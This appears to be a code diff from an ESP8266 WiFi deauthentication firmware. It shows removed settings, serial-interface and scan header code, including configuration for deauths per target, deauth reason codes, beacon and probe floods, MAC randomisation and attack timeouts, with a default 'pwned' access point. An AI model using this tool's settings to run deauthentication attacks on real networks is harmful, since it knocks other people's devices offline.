double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
private:
|
||||
LinkedList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
#endif
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
File diff suppressed because it is too large
Load Diff
|
@ -1,102 +0,0 @@
|
|||
#ifndef SerialInterface_h
|
||||
#define SerialInterface_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "pgmspace.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#include "language.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "DigitalLed.h"
|
||||
#include "RGBLed.h"
|
||||
#include "Neopixel.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
extern DigitalLed led;
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
extern RGBLed led;
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
extern Neopixel led;
|
||||
#endif
|
||||
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String &buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String &buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
extern void printWifiStatus();
|
||||
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
||||
extern void wifiUpdate();
|
||||
|
||||
class SerialInterface {
|
||||
public:
|
||||
SerialInterface();
|
||||
void enable();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void disable();
|
||||
void update();
|
||||
void stopScript();
|
||||
|
||||
void runCommands(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
|
||||
private:
|
||||
bool enabled;
|
||||
LinkedList<String>* list;
|
||||
bool executing = false;
|
||||
bool continuously = false;
|
||||
uint32_t continueTime = 0;
|
||||
uint32_t loopTime = 0;
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword{
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
|
@ -1,575 +0,0 @@
|
|||
#include "Settings.h"
|
||||
|
||||
Settings::Settings() {
|
||||
macSt = (uint8_t*)malloc(6);
|
||||
macAP = (uint8_t*)malloc(6);
|
||||
}
|
||||
|
||||
void Settings::load() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
// check & read file
|
||||
String json = getJsonStr();
|
||||
checkFile(FILE_PATH, json);
|
||||
JsonObject &data = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
// VERSION
|
||||
version = data.get<String>("version");
|
||||
|
||||
// AP
|
||||
if(data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
||||
if(data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
||||
if(data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
||||
if(data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
||||
if(data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
||||
|
||||
// GENERAL
|
||||
if(data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
||||
if(data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
||||
if(data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
||||
if(data.containsKey(keyword(S_SERIALINTERFACE))) setSerialInterface(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
||||
if(data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
||||
if(data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
||||
if(data.containsKey(keyword(S_MAXCH))) setMaxCh(data.get<uint8_t>(keyword(S_MAXCH)));
|
||||
if(data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
||||
if(data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
||||
|
||||
// SCAN
|
||||
if(data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
||||
if(data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
||||
|
||||
// ATTACK
|
||||
if(data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
||||
if(data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
||||
if(data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(S_DEAUTHSPERTARGET)));
|
||||
if(data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
||||
if(data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
||||
if(data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
||||
if(data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
||||
if(data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
||||
|
||||
if (version != VERSION){
|
||||
//reset();
|
||||
copyWebFiles(true);
|
||||
version = VERSION;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
prnt(S_SETTINGS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
|
||||
save(true); // force saving
|
||||
}
|
||||
|
||||
void Settings::load(String filepath){
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Settings::reset() {
|
||||
// VERSION
|
||||
version = VERSION;
|
||||
|
||||
// AP
|
||||
setSSID("pwned");
|
||||
setPassword("deauther");
|
||||
setChannel(1);
|
||||
setHidden(false);
|
||||
setCaptivePortal(true);
|
||||
|
||||
// GENERAL
|
||||
setLang("en");
|
||||
setAutosave(true);
|
||||
setAutosaveTime(10000);
|
||||
setDisplayInterface(USE_DISPLAY);
|
||||
setDisplayTimeout(600);
|
||||
setSerialInterface(true);
|
||||
setWebInterface(true);
|
||||
setLedEnabled(true);
|
||||
setMaxCh(14);
|
||||
wifi_get_macaddr(0x00, macSt);
|
||||
wifi_get_macaddr(0x01, macAP);
|
||||
|
||||
// SCAN
|
||||
setChTime(384);
|
||||
setMinDeauths(3);
|
||||
|
||||
// ATTACK
|
||||
setAttackTimeout(600);
|
||||
setForcePackets(3);
|
||||
setDeauthsPerTarget(20);
|
||||
setDeauthReason(1);
|
||||
setBeaconChannel(false);
|
||||
setBeaconInterval(false);
|
||||
setRandomTX(false);
|
||||
setProbesPerSSID(1);
|
||||
|
||||
prntln(S_SETTINGS_RESETED);
|
||||
}
|
||||
|
||||
String Settings::getJsonStr() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
JsonObject &data = jsonBuffer.createObject();
|
||||
|
||||
// Version
|
||||
data.set("version", VERSION);
|
||||
|
||||
// AP
|
||||
data.set(keyword(S_SSID), ssid);
|
||||
data.set(keyword(S_PASSWORD), password);
|
||||
data.set(keyword(S_CHANNEL), channel);
|
||||
data.set(keyword(S_HIDDEN), hidden);
|
||||
data.set(keyword(S_CAPTIVEPORTAL), captivePortal);
|
||||
|
||||
// GENERAL
|
||||
data.set(keyword(S_LANG), lang);
|
||||
data.set(keyword(S_AUTOSAVE), autosave);
|
||||
data.set(keyword(S_AUTOSAVETIME), autosaveTime);
|
||||
data.set(keyword(S_DISPLAYINTERFACE), displayInterface);
|
||||
data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout);
|
||||
data.set(keyword(S_SERIALINTERFACE), serialInterface);
|
||||
data.set(keyword(S_WEBINTERFACE), webInterface);
|
||||
data.set(keyword(S_LEDENABLED), ledEnabled);
|
||||
data.set(keyword(S_MAXCH), maxCh);
|
||||
data.set(keyword(S_MACAP), macToStr(getMacAP()));
|
||||
data.set(keyword(S_MACST), macToStr(getMacSt()));
|
||||
|
||||
// SCAN
|
||||
data.set(keyword(S_CHTIME), chTime);
|
||||
data.set(keyword(S_MIN_DEAUTHS), minDeauths);
|
||||
|
||||
// ATTACK
|
||||
data.set(keyword(S_ATTACKTIMEOUT), attackTimeout);
|
||||
data.set(keyword(S_FORCEPACKETS), forcePackets);
|
||||
data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget);
|
||||
data.set(keyword(S_DEAUTHREASON), deauthReason);
|
||||
data.set(keyword(S_BEACONCHANNEL), beaconChannel);
|
||||
data.set(keyword(S_BEACONINTERVAL), beaconInterval);
|
||||
data.set(keyword(S_RANDOMTX), randomTX);
|
||||
data.set(keyword(S_PROBESPERSSID), probesPerSSID);
|
||||
|
||||
String buf;
|
||||
data.printTo(buf);
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
void Settings::save(bool force) {
|
||||
if (force || changed) {
|
||||
String buf = getJsonStr();
|
||||
if(writeFile(FILE_PATH, buf)){
|
||||
prnt(S_SETTINGS_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}else{
|
||||
prnt(F("ERROR: saving "));
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Settings::print() {
|
||||
String settingsJson = getJsonStr();
|
||||
settingsJson.replace("{", "{\r\n");
|
||||
settingsJson.replace("}", "\r\n}");
|
||||
settingsJson.replace(",", "\r\n");
|
||||
prntln(S_SETTINGS_HEADER);
|
||||
prntln(settingsJson);
|
||||
}
|
||||
|
||||
void Settings::set(const char* str, String value) {
|
||||
// booleans
|
||||
if (eqls(str,S_BEACONCHANNEL)) setBeaconChannel(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_AUTOSAVE)) setAutosave(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_BEACONINTERVAL)) setBeaconInterval(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_SERIALINTERFACE)) setSerialInterface(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_DISPLAYINTERFACE)) setDisplayInterface(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_WEBINTERFACE)) setWebInterface(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_RANDOMTX)) setRandomTX(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_LEDENABLED)) setLedEnabled(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_HIDDEN)) setHidden(eqls(value,STR_TRUE));
|
||||
else if (eqls(str,S_CAPTIVEPORTAL)) setCaptivePortal(eqls(value,STR_TRUE));
|
||||
|
||||
// integer
|
||||
else if (eqls(str,S_FORCEPACKETS)) setForcePackets(value.toInt());
|
||||
else if (eqls(str,S_AUTOSAVETIME)) setAutosaveTime(value.toInt());
|
||||
else if (eqls(str,S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt());
|
||||
else if (eqls(str,S_CHTIME)) setChTime(value.toInt());
|
||||
else if (eqls(str,S_MAXCH)) setMaxCh(value.toInt());
|
||||
else if (eqls(str,S_CHANNEL)) setChannel(value.toInt());
|
||||
else if (eqls(str,S_DEAUTHREASON)) setDeauthReason(value.toInt());
|
||||
else if (eqls(str,S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt());
|
||||
else if (eqls(str,S_PROBESPERSSID)) setProbesPerSSID(value.toInt());
|
||||
else if (eqls(str,S_MIN_DEAUTHS)) setMinDeauths(value.toInt());
|
||||
else if (eqls(str,S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt());
|
||||
|
||||
// strings
|
||||
else if (eqls(str,S_LANG)) setLang(value);
|
||||
else if (eqls(str,S_SSID)) setSSID(value);
|
||||
else if (eqls(str,S_PASSWORD)) setPassword(value);
|
||||
else if (eqls(str,S_MACAP)) setMacAP(value);
|
||||
else if (eqls(str,S_MACST)) setMacSt(value);
|
||||
else if (eqls(str,S_MAC) && value.equalsIgnoreCase("random")){
|
||||
setMacSt(value);
|
||||
setMacAP(value);
|
||||
}
|
||||
|
||||
else if (eqls(str,S_VERSION)) prntln(S_ERROR_VERSION);
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(S_CHANGED_SETTING);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
String Settings::get(const char* str) {
|
||||
if (eqls(str,S_SETTINGS)) print();
|
||||
// booleans
|
||||
else if (eqls(str,S_BEACONCHANNEL)) return b2s(getBeaconChannel());
|
||||
else if (eqls(str,S_AUTOSAVE)) return b2s(getAutosave());
|
||||
else if (eqls(str,S_BEACONINTERVAL)) return b2s(getBeaconInterval());
|
||||
else if (eqls(str,S_SERIALINTERFACE)) return b2s(getSerialInterface());
|
||||
else if (eqls(str,S_DISPLAYINTERFACE)) return b2s(getDisplayInterface());
|
||||
else if (eqls(str,S_WEBINTERFACE)) return b2s(getWebInterface());
|
||||
else if (eqls(str,S_RANDOMTX)) return b2s(getRandomTX());
|
||||
else if (eqls(str,S_LEDENABLED)) return b2s(getLedEnabled());
|
||||
else if (eqls(str,S_HIDDEN)) return b2s(getHidden());
|
||||
else if (eqls(str,S_CAPTIVEPORTAL)) return b2s(getCaptivePortal());
|
||||
|
||||
// integer
|
||||
else if (eqls(str,S_FORCEPACKETS)) return (String)getForcePackets();
|
||||
else if (eqls(str,S_AUTOSAVETIME)) return (String)getAutosaveTime();
|
||||
else if (eqls(str,S_DEAUTHSPERTARGET)) return (String)getDeauthsPerTarget();
|
||||
else if (eqls(str,S_CHTIME)) return (String)getChTime();
|
||||
else if (eqls(str,S_ATTACKTIMEOUT)) return (String)getAttackTimeout();
|
||||
else if (eqls(str,S_MAXCH)) return (String)getMaxCh();
|
||||
else if (eqls(str,S_CHANNEL)) return (String)getChannel();
|
||||
else if (eqls(str,S_DEAUTHREASON)) return (String)getDeauthReason();
|
||||
else if (eqls(str,S_PROBESPERSSID)) return (String)getProbesPerSSID();
|
||||
else if (eqls(str,S_MIN_DEAUTHS)) return (String)getMinDeauths();
|
||||
else if (eqls(str,S_DISPLAY_TIMEOUT)) return (String)getDisplayTimeout();
|
||||
|
||||
// strings
|
||||
else if (eqls(str,S_SSID)) return getSSID();
|
||||
else if (eqls(str,S_LANG)) return getLang();
|
||||
else if (eqls(str,S_PASSWORD)) return getPassword();
|
||||
else if (eqls(str,S_MACAP)) return macToStr(getMacAP());
|
||||
else if (eqls(str,S_MACST)) return macToStr(getMacSt());
|
||||
else if (eqls(str,S_MAC)) return "AP: " + macToStr(getMacAP()) + ", Station: " + macToStr(getMacSt());
|
||||
else if (eqls(str,S_VERSION)) return getVersion();
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
// ===== GETTERS ===== //
|
||||
String Settings::getVersion() {
|
||||
return version;
|
||||
}
|
||||
|
||||
uint16_t Settings::getDeauthsPerTarget() {
|
||||
return deauthsPerTarget;
|
||||
}
|
||||
|
||||
uint8_t Settings::getDeauthReason() {
|
||||
return deauthReason;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconChannel() {
|
||||
return beaconChannel;
|
||||
}
|
||||
|
||||
uint8_t Settings::getForcePackets() {
|
||||
return forcePackets;
|
||||
}
|
||||
|
||||
bool Settings::getAutosave() {
|
||||
return autosave;
|
||||
}
|
||||
|
||||
uint32_t Settings::getAutosaveTime() {
|
||||
return autosaveTime;
|
||||
}
|
||||
|
||||
uint8_t Settings::getMaxCh() {
|
||||
return maxCh;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconInterval() {
|
||||
return beaconInterval;
|
||||
}
|
||||
|
||||
uint8_t Settings::getChannel() {
|
||||
return channel;
|
||||
}
|
||||
|
||||
String Settings::getSSID() {
|
||||
return ssid;
|
||||
}
|
||||
|
||||
String Settings::getPassword() {
|
||||
return password;
|
||||
}
|
||||
|
||||
bool Settings::getSerialInterface() {
|
||||
return serialInterface;
|
||||
}
|
||||
|
||||
bool Settings::getDisplayInterface() {
|
||||
return displayInterface;
|
||||
}
|
||||
|
||||
bool Settings::getWebInterface() {
|
||||
return webInterface;
|
||||
}
|
||||
|
||||
uint16_t Settings::getChTime() {
|
||||
return chTime;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacSt() {
|
||||
return macSt;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacAP() {
|
||||
return macAP;
|
||||
}
|
||||
|
||||
bool Settings::getRandomTX() {
|
||||
return randomTX;
|
||||
}
|
||||
|
||||
uint32_t Settings::getAttackTimeout() {
|
||||
return attackTimeout;
|
||||
}
|
||||
|
||||
bool Settings::getLedEnabled() {
|
||||
return ledEnabled;
|
||||
}
|
||||
|
||||
uint8_t Settings::getProbesPerSSID() {
|
||||
return probesPerSSID;
|
||||
}
|
||||
|
||||
bool Settings::getHidden() {
|
||||
return hidden;
|
||||
}
|
||||
|
||||
bool Settings::getCaptivePortal() {
|
||||
return captivePortal;
|
||||
}
|
||||
|
||||
uint16_t Settings::getMinDeauths(){
|
||||
return minDeauths;
|
||||
}
|
||||
|
||||
uint32_t Settings::getDisplayTimeout(){
|
||||
return displayTimeout;
|
||||
}
|
||||
|
||||
String Settings::getLang(){
|
||||
return lang;
|
||||
}
|
||||
|
||||
// ===== SETTERS ===== //
|
||||
|
||||
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
|
||||
Settings::deauthsPerTarget = deauthsPerTarget;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDeauthReason(uint8_t deauthReason) {
|
||||
Settings::deauthReason = deauthReason;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconChannel(bool beaconChannel) {
|
||||
Settings::beaconChannel = beaconChannel;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setForcePackets(uint8_t forcePackets) {
|
||||
if(forcePackets > 0){
|
||||
Settings::forcePackets = forcePackets;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setAutosave(bool autosave) {
|
||||
Settings::autosave = autosave;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAutosaveTime(uint32_t autosaveTime) {
|
||||
Settings::autosaveTime = autosaveTime;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMaxCh(uint8_t maxCh) {
|
||||
Settings::maxCh = maxCh;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconInterval(bool beaconInterval) {
|
||||
Settings::beaconInterval = beaconInterval;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChannel(uint8_t channel) {
|
||||
if (channel >= 1 && channel <= maxCh) {
|
||||
Settings::channel = channel;
|
||||
setWifiChannel(channel);
|
||||
changed = true;
|
||||
prnt(S_CHANNEL_CHANGE);
|
||||
prntln(channel);
|
||||
} else {
|
||||
prnt(S_CHANNEL_ERROR);
|
||||
prntln(maxCh);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setSSID(String ssid) {
|
||||
if (ssid.length() > 0 && ssid.length() <= 32) {
|
||||
ssid = fixUtf8(ssid);
|
||||
Settings::ssid = ssid;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_SSID_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setPassword(String password) {
|
||||
if (password.length() >= 8 && password.length() <= 32) {
|
||||
password = fixUtf8(password);
|
||||
Settings::password = password;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_PASSWORD_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setSerialInterface(bool serialInterface) {
|
||||
Settings::serialInterface = serialInterface;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayInterface(bool displayInterface) {
|
||||
Settings::displayInterface = displayInterface;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWebInterface(bool webInterface) {
|
||||
Settings::webInterface = webInterface;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChTime(uint16_t chTime) {
|
||||
Settings::chTime = chTime;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMacSt(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if(eqls(macStr, S_RANDOM))
|
||||
getRandomMac(mac);
|
||||
else
|
||||
strToMac(macStr, mac);
|
||||
|
||||
setMacSt(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacSt(uint8_t* macSt){
|
||||
if(macSt[0] % 2 == 0){
|
||||
memcpy(Settings::macSt, macSt, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setMacAP(String macStr){
|
||||
uint8_t mac[6];
|
||||
|
||||
if(eqls(macStr, S_RANDOM))
|
||||
getRandomMac(mac);
|
||||
else
|
||||
strToMac(macStr, mac);
|
||||
|
||||
setMacAP(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacAP(uint8_t* macAP){
|
||||
if(macAP[0] % 2 == 0){
|
||||
memcpy(Settings::macAP, macAP, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setRandomTX(bool randomTX){
|
||||
Settings::randomTX = randomTX;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAttackTimeout(uint32_t attackTimeout){
|
||||
Settings::attackTimeout = attackTimeout;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLedEnabled(bool ledEnabled) {
|
||||
Settings::ledEnabled = ledEnabled;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
||||
if(probesPerSSID > 0){
|
||||
Settings::probesPerSSID = probesPerSSID;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setHidden(bool hidden) {
|
||||
Settings::hidden = hidden;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setCaptivePortal(bool captivePortal){
|
||||
Settings::captivePortal = captivePortal;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMinDeauths(uint16_t minDeauths){
|
||||
Settings::minDeauths = minDeauths;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayTimeout(uint32_t displayTimeout){
|
||||
Settings::displayTimeout = displayTimeout;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLang(String lang){
|
||||
Settings::lang = lang;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
|
|
@ -1,138 +0,0 @@
|
|||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "FS.h"
|
||||
#include <ArduinoJson.h>
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define VERSION "v2.0.1"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
||||
extern bool writeFile(String path, String &buf);
|
||||
extern void saveJSONFile(String path, JsonObject &root);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern String fixUtf8(String str);
|
||||
extern void copyWebFiles(bool force);
|
||||
|
||||
class Settings {
|
||||
public:
|
||||
Settings();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force,String filepath);
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
void set(const char* str, String value);
|
||||
String get(const char* str);
|
||||
|
||||
String getVersion();
|
||||
uint16_t getDeauthsPerTarget();
|
||||
uint8_t getDeauthReason();
|
||||
bool getBeaconChannel();
|
||||
uint8_t getForcePackets();
|
||||
bool getAutosave();
|
||||
uint32_t getAutosaveTime();
|
||||
uint8_t getMaxCh();
|
||||
bool getBeaconInterval();
|
||||
uint8_t getChannel();
|
||||
String getSSID();
|
||||
String getPassword();
|
||||
bool getSerialInterface();
|
||||
bool getDisplayInterface();
|
||||
bool getWebInterface();
|
||||
uint16_t getChTime();
|
||||
uint8_t* getMacSt();
|
||||
uint8_t* getMacAP();
|
||||
bool getRandomTX();
|
||||
uint32_t getAttackTimeout();
|
||||
bool getLedEnabled();
|
||||
uint8_t getProbesPerSSID();
|
||||
bool getHidden();
|
||||
bool getCaptivePortal();
|
||||
uint16_t getMinDeauths();
|
||||
uint32_t getDisplayTimeout();
|
||||
String getLang();
|
||||
|
||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||
void setDeauthReason(uint8_t deauthReason);
|
||||
void setBeaconChannel(bool beaconChannel);
|
||||
void setForcePackets(uint8_t forcePackets);
|
||||
void setAutosave(bool autosave);
|
||||
void setAutosaveTime(uint32_t autosaveTime);
|
||||
void setMaxCh(uint8_t maxCh);
|
||||
void setBeaconInterval(bool beaconInterval);
|
||||
void setChannel(uint8_t channel);
|
||||
void setSSID(String ssid);
|
||||
void setPassword(String password);
|
||||
void setSerialInterface(bool serialInterface);
|
||||
void setDisplayInterface(bool displayInterface);
|
||||
